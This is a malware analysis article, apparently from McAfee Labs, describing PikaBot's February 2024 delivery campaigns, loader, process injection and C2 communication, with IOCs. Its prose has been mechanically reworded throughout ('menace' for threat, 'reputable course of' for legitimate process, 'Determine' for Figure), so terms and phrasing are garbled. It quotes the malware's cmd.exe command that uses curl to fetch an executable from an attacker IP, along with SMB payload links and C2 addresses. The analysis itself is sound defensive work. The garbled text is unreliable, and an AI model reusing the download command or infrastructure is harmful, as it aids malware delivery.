Authored by Anuradha and Preksha
Introduction
PikaBot is a malicious backdoor that has been lively since early 2023. Its modular design is comprised of a loader and a core part. The core module performs malicious operations, permitting for the execution of instructions and the injection of payloads from a command-and-control server. The malware employs a code injector to decrypt and inject the core module right into a reputable course of. Notably, PikaBot employs distribution strategies, campaigns, and habits paying homage to Qakbot.
Distribution Strategies
PikaBot, together with numerous different malicious loaders like QBot and DarkGate, closely depends upon e-mail spam campaigns for distribution. Its preliminary entry methods are intricately crafted, using geographically focused spam emails tailor-made for particular nations. These emails often embody hyperlinks to exterior Server Message Block (SMB) shares internet hosting malicious zip recordsdata.
SMB shares confer with assets or folders on a server or pc accessible to different gadgets or customers on a community utilizing the SMB protocol. The menace actors often exploit such shares for malware distribution. On this occasion, the act of downloading and opening the supplied zip file results in PikaBot an infection.
Distinctive Campaigns
Throughout February 2024, McAfee Labs noticed a major change within the campaigns that distribute Pikabot.
Pikabot is distributed via a number of file varieties for numerous causes, relying on the goals and nature of the assault. Utilizing a number of file varieties permits attackers to take advantage of various assault vectors. Totally different file codecs could have completely different vulnerabilities, and alternative ways of detection by safety software program so attackers could strive numerous codecs to extend their probabilities of success and evade detection by bypassing particular safety measures.
Attackers usually use file varieties which are generally trusted by customers, akin to Zip or Workplace paperwork, to trick customers into opening them. By utilizing acquainted file varieties, attackers improve the chance that their targets will work together with the malicious content material. Malware authors use HTML with JavaScript options as attachments, a typical method, notably when e-mail formatting is transformed to plain textual content, ensuing within the attachment of the HTML content material on to the e-mail. Attackers use SMB to propagate throughout the community and should particularly goal SMB shares to unfold their malware effectively. Pikabot takes benefit of the MonikerLink bug and attaches an SMB hyperlink within the Outlook mail itself.
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-1.png)
Determine 1. Distinctive Campaigns of Pikabot
Attackers demonstrated a various vary of strategies and an infection vectors in every marketing campaign, aiming to ship the Pikabot payload. Beneath we now have summarized the an infection vector that has been utilized in every marketing campaign.
- HTML
- Javascript
- SMB Share
- Excel
- JAR
It’s unusual for an adversary to deploy so many assault vectors within the span of a month.
Marketing campaign Evaluation
On this part, a complete breakdown of the evaluation for every marketing campaign is offered under.
1.HTML Marketing campaign
On this marketing campaign, Pikabot is distributed via a zipper file that features an HTML file. This HTML file then proceeds to obtain a textual content file, in the end ensuing within the deployment of the payload.
The under HTML code is a snippet from the malware the place it’s a correctly aligned HTML that has a physique meta redirection to a distant textual content file hosted on the specified URL. There are distractions within the HTML which aren’t rendered by the browser.
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-2.png)
Determine 2.HTML Code
The above highlighted meta tag triggers a direct refresh of the web page and redirects the browser to the required URL: ‘file://204.44.125.68/mcqef/yPXpC.txt’. This seems to be a file URL, pointing to a textual content file on a distant server.
Listed here are some explanation why an attacker may select a meta tag refresh over conventional redirects:
Stealth and Evasion: Meta tag refreshes will be much less conspicuous than HTTP redirects. Some safety instruments and detection mechanisms could also be extra targeted on figuring out and blocking identified redirect patterns.
Consumer-Facet Execution: Meta tag refreshes happen on the shopper facet (within the consumer’s browser), whereas HTTP redirects are usually dealt with by the server. This may occasionally enable attackers to execute sure actions instantly on the consumer’s machine, making detection and evaluation tougher.
Dynamic Conduct: Meta tag refreshes will be dynamically generated and inserted into net pages, permitting attackers to alter the redirection targets extra simply and often. This dynamic habits could make it tougher for safety methods to maintain up with the evolving menace panorama.
On this marketing campaign, McAfee blocks the HTML file.
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-3.png)
Determine 3.HTML file
2. Javascript Marketing campaign
Distributed via a compressed zip file, the bundle features a .js file that subsequently initiates the execution of curl.exe to retrieve the payload.
An infection Chain:
.zip->.js->curl->.exe
Code snippet of .js file:
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-4.png)
Determine 4. Javascript Code
When the JavaScript is executed, it triggers cmd.exe to generate directories on the C: drive and initiates curl.exe to obtain the payload.
Because the URL “hxxp://103.124.105.147/KNaDVX/.dat” is inactive, the payload shouldn’t be downloaded to the under location.
Commandline:
‘”C:WindowsSystem32cmd.exe” /c mkdir C:DthfgjhjfjRkfjsilEjkjhdgjfByfjgkgdfh & curl hxxp://103.124.105.147/KNaDVX/0.2642713404338389.dat –output C:DthfgjhjfjRkfjsilEjkjhdgjfByfjgkgdfhNgjhjhjda.exe’
McAfee blocks each the javascript and the exe file thus rendering McAfee clients secure from this marketing campaign.
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-5.png)
Determine 5. JS file
Determine 6. EXE file
3. SMB share Marketing campaign:
On this marketing campaign, Malware leverages the MonikerLink bug by distributing malware via e-mail conversations with older thread discussions, whereby recipients obtain a hyperlink to obtain the payload from an SMB share. The hyperlink is instantly current in that Outlook mail.
An infection Chain:
EML ->SMB share link->.zip->.exe
Spam E mail:
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-7.png)
Determine 7. Spam e-mail with SMB share hyperlink
SMB Share hyperlink: file://newssocialwork.com/public/FNFY.zip
On this marketing campaign, McAfee efficiently blocks the executable file downloaded from the SMB share.
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-8.png)
Determine 8. EXE file
4: Excel Marketing campaign
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-9.png)
Determine 9. Face in Excel
An infection Chain:
.zip >.xls > .js > .dll
This week, menace actors launched a novel technique to distribute their Pikabot malware. Focused customers acquired an Excel spreadsheet that prompted them to click on on an embedded button to entry “recordsdata from the cloud.”
Upon hovering over the “Open” button, we are able to discover an SMB file share hyperlink -file:///85.195.115.20sharereports_02.15.2024_1.js.
Bundled recordsdata in Excel:
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-10.png)
Determine 10. Bundled recordsdata inside Excel
The Excel file doesn’t incorporate any macros however features a hyperlink directing to an SMB share for downloading the JavaScript file.
The hyperlink is current within the under relationship file.
Determine 11. XML relationship file
Content material of relationship file:
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-12.png)
Determine 12. xl/drawings/_rels/drawing1.xml.rels
Code of JS file:
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-13.png)
Determine 13. Obfuscated javascript code
The JS file accommodates principally junk codes and a small piece of malicious code which downloads the payload DLL file saved as “nh.jpg”.
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-14.png)
Determine 14. Calling regsvr32.exe
The downloaded DLL payload is executed by regsvr32.exe.
On this marketing campaign, McAfee blocks the XLSX file.
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-15.png)
Determine 15. XLSX file
5. JAR Marketing campaign
On this marketing campaign, distribution was via a compressed zip file, the bundle features a .jar file which on execution drops the DLL file as payload.
An infection Chain:
.zip>.jar>.dll
On extraction, the under recordsdata are discovered contained in the jar file.
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-16.png)
Determine 16. Extraction of JAR file
The MANIFEST file signifies that hBHGHjbH.class serves as the principle class within the supplied recordsdata.
The jar file on execution masses the file “163520” as a useful resource and drops it as .png to the %temp% location which is the payload DLL file.
Determine 17. Payload with .png extension
Following this, java.exe initiates the execution of regsvr32.exe to run the payload.
On this marketing campaign, McAfee blocks each the JAR and DLL recordsdata.
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-18-1.png)
Determine 18. JAR file
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-19-1.png)
Determine 19. DLL file
Pikabot Payload Evaluation:
Pikabot loader:
On account of a comparatively excessive entropy of the useful resource part, the pattern seems packed.
Determine 20. Loader Entropy
Initially, Malware allocates reminiscence utilizing VirtualAlloc (), and subsequently, it employs a customized decryption loop to decrypt the info, leading to a PE file
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-21.png)
Determine 21. Decryption Loop
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-22-2.png)
Determine 22. Decrypted to get the PE file
Core Module:
As soon as the info is decrypted, it proceeds to leap to the entry level of the brand new PE file. When this PE file will get executed, it injects the malicious content material in ctfmon.exe with the command line argument “C:WindowsSysWOW64ctfmon.exe -p 1234”
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-23-1.png)
Determine 23. Injection with ctfmon.exe
To forestall double an infection, it employs a hardcoded mutex worth {9ED9ADD7-B212-43E5-ACE9-B2E05ED5D524} by calling CreateMutexW(), adopted by a name to GetLastError() to examine the final error code.
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-24.png)
Determine 24. Mutex
Community communication:
Malware collects the info from the sufferer machine and sends it to the C2 server.
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-25.png)
Determine 25. Community exercise
PIKABOT performs community communication over HTTPS on non-traditional ports (2221, 2078, and so on).
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-26.png)
Determine 26. Community exercise
C2 server communication:
![](https://www.mcafee.com/blogs/wp-content/uploads/2024/04/Figure-27.png)
Determine 27. C2 communication
IOCs:
C2 discovered within the payload are:
178.18.246.136:2078
86.38.225.106:2221
57.128.165.176:1372
File Sort | SHA 256 |
ZIP | 800fa26f895d65041ddf12c421b73eea7f452d32753f4972b05e6b12821c863a |
HTML | 9fc72bdf215a1ff8c22354aac4ad3c19b98a115e448cb60e1b9d3948af580c82 |
ZIP | 4c29552b5fcd20e5ed8ec72dd345f2ea573e65412b65c99d897761d97c35ebfd |
JS | 9a4b89276c65d7f17c9568db5e5744ed94244be7ab222bedd8b64f25695ef849 |
EXE | 89dc50024836f9ad406504a3b7445d284e97ec5dafdd8f2741f496cac84ccda9 |
ZIP | f3f1492d65b8422125846728b320681baa05a6928fbbd25b16fa28b352b1b512 |
EXE | aab0e74b9c6f1326d7ecea9a0de137c76d52914103763ac6751940693f26cbb1 |
XLSX | bcd3321b03c2cba73bddca46c8a509096083e428b81e88ed90b0b7d4bd3ba4f5 |
JS | 49d8fb17458ca0e9eaff8e3b9f059a9f9cf474cc89190ba42ff4f1e683e09b72 |
ZIP | d4bc0db353dd0051792dd1bfd5a286d3f40d735e21554802978a97599205bd04 |
JAR | d26ab01b293b2d439a20d1dffc02a5c9f2523446d811192836e26d370a34d1b4 |
DLL | 7b1c5147c903892f8888f91c98097c89e419ddcc89958a33e294e6dd192b6d4e |